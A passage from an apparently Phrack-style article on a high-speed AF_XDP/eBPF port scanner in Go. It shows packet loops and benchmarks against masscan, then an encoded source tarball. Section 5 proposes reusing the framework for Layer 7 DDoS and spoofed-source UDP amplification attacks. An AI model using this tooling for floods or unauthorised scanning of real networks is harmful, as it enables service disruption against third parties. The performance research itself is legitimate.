descs := xsk.GetDescs(min(numFree, BATCH_SIZE), false) for i := range descs {

target := getNextTarget()

frame := xsk.GetFrame(descs[i]) // Pointer to shared memory

packer.pack(frame, target.ip, target.port, randomSeq()) descs[i].Len = pktLen

}

xsk.Transmit(descs)

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑[ 3.2.2 ‑ The Packet Reception Loop

My receive loop, running in a dedicated goroutine, can be simple because the eBPF program has already handled the filtering.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// file: cmd/portscanner/main.go (conceptual)

// Pre‑populate the FILL ring with available UMEM frames

populate_fill_ring();

for {

numRx, _, err := xsk.Poll(10) // 10ms timeout

if numRx > 0 {

rxDescs := xsk.Receive(rxDescs)

for _, desc := range rxDescs {

frame := xsk.GetFrame(desc)

ip, port, status := processPacket(frame) if status == "open" || status == "closed" { updateStatus(ip, port, status)

}

}

// Return the now‑empty frame descriptors to the kernel's FILL ring

xsk.Fill(rxDescs)

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ 4 ‑ Performance Analysis

‑‑‑[ 4.0 ‑ A Note on Benchmarking

To validate this architecture, a performance comparison is necessary. I chose masscan as the benchmark, as it represents the gold standard for high‑speed, internet‑scale scanning. It must be stated that masscan is a mature, highly‑tuned project. It has years of optimization in its custom networking code and supports advanced kernel‑bypass techniques such as PF_RING with DNA drivers. This driver DMAs packets directly from user‑mode memory to the network driver with zero kernel involvement, allowing it to transmit at the maximum rate the hardware allows. Therefore, the goal here is not to "beat" masscan, but to determine if an AF_XDP‑based tool, even as a proof‑of‑concept, can be competitive and where its architectural strengths lie.

The benchmark consists of two scenarios: a high‑density scan against a single host (45.33.32.156) on all 65,535 ports, and a wide‑range scan against a /9 network (8.3 million IPs) on a single port.

‑‑‑[ 4.1 ‑ Head‑to‑Head: AF_XDP vs. masscan

A critical factor in masscan's design is a built‑in 10‑second delay at the end of each scan to receive late‑arriving packets.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

rate: 0.00‑kpps, 100.00% done, waiting 10‑secs, found=3 ~

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

When this delay is factored out to compare raw transmission times, the results are revealing. For the wide‑range /9 scan, masscan clocked in at 69.2 seconds total, meaning its active scanning time was only ~59.2 seconds.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

real 1m9.174s

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My XDP scanner completed the same task in 68.3 seconds. In this scenario, where the bottleneck is spread across millions of IPs, masscan's years of optimization give it a clear edge.

However, the high‑density scan against a single host tells a different story. Here, masscan's active scanning time was ~2 seconds (12 seconds of total time minus the 10‑second delay).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

real 0m12.163s

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My AF_XDP scanner finished in just ~1.3 seconds. ~ The victory for the AF_XDP scanner here was not just in speed, but also in accuracy. My scanner consistently identified all four open ports on the target in every run:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

OPEN: 45.33.32.156:22

OPEN: 45.33.32.156:9929

OPEN: 45.33.32.156:80

OPEN: 45.33.32.156:31337

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In contrast, masscan's high rate caused it to miss ports, finding a different number of open ports on different runs:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1st scan: 0.00‑kpps, 100.00% done, waiting 0‑secs, found=3 2nd scan: 0.00‑kpps, 100.00% done, waiting 0‑secs, found=2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This outcome directly validates the AF_XDP architecture. The performance gains are a result of several combined optimizations. The kernel‑level eBPF filter drops unwanted traffic at the earliest possible point. The zero‑copy UMEM and batched ring operations nearly eliminate syscall overhead. This is why the PoC excels in the high‑density test: the per‑packet overhead is so low that it can saturate a single target more effectively and reliably than a tool tuned for internet‑wide distribution.

While the XDP scanner is just a proof‑of‑concept, it shows that with further development, this architecture holds potential.

‑‑[ 5 ‑ Extending the AF_XDP Framework

‑‑‑[ 5.0 ‑ High‑Speed HTTP/HTTPS Application Fuzzing and L7 DDoS

The architecture developed for this scanner serves as a foundation for other high‑performance network applications, particularly for security research and testing. The framework can be extended to handle stateful protocols by implementing a TCP stack in userspace. This involves managing sequence numbers, ACKs, windowing, and state transitions. This userspace TCP stack then serves as a transport layer for higher‑level protocols.

To interact with HTTPS services, a TLS library (e.g., OpenSSL) can be integrated by redirecting its I/O from kernel sockets to the userspace TCP stack. In OpenSSL, this can be done using a custom BIO (Basic I/O abstraction). The BIO_read and BIO_write callbacks would then interface with the userspace TCP stack's send/receive buffers, not with read() or write() syscalls.

With such a setup, you could use AF_XDP to create a high‑speed application‑layer fuzzer. For content discovery, one could pipeline a massive number of fuzzed HTTP requests over multiple, persistent HTTPS connections, achieving a request‑per‑second rate far higher than conventional tools like ffuf or gobuster. This same capability can be used for Layer 7 DDoS attacks, exhausting resources by flooding it with the highest RPS you can achieve.

‑‑‑[ 5.1 ‑ Stateless UDP Fuzzing and DDoS Amplification

UDP protocols are an even simpler target due to their stateless nature. For these, the packet crafting engine can be adapted to fuzz any UDP service or execute DDoS reflection/amplification attacks by spoofing the source IP and generating requests at a massive rate. There's no complex state to maintain, just packet generation.

This lays the foundation that creating AF_XDP programs to interact with UDP protocols is architecturally easier to implement. Several tools already use this concept to bruteforce DNS records in a faster way for example (e.g sanicdns, pugdns).

‑‑[ 6 ‑ Caveats and Considerations

This approach has several requirements and trade‑offs. Root privileges are mandatory to load eBPF programs and create AF_XDP sockets so you wouldn't be able to use it on a unprivileged session. The implementation complexity is high, as your application is now responsible for everything from ARP resolution to MAC address management. Performance is also heavily reliant on having a modern kernel and a NIC driver that supports native AF_XDP and since that's a relatively recent feature on the kernel, you won't be able to run it on any system.

‑‑[ 7 ‑ Conclusion

By combining the filtering capabilities of eBPF at the XDP hook with the zero‑copy architecture of AF_XDP, it is possible to build network applications that far exceed the performance of traditional socket‑based programs. My port scanner serves as a practical example of this paradigm. Unlike full bypass frameworks, AF_XDP provides a more universal and less invasive path to high‑performance packet processing by integrating cooperatively with the mainline Linux kernel. The same principles that enable my rapid network scanning also provide a foundation for security research and attack tools.

‑‑[ 8 ‑ References

[0] BPF and XDP Reference Guide ‑ https://docs.cilium.io/en/stable/bpf/

[1] AF_XDP Documentation https://www.kernel.org/doc/html/latest/networking/af_xdp.html

[2] DPDK (Data Plane Development Kit) ‑ https://www.dpdk.org/

[3] GoPacket ‑ A Go library for packet crafting https://github.com/google/gopacket

‑‑[ 9 ‑ Source Code

# base64 ‑w 75 xdp.tar.gz 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 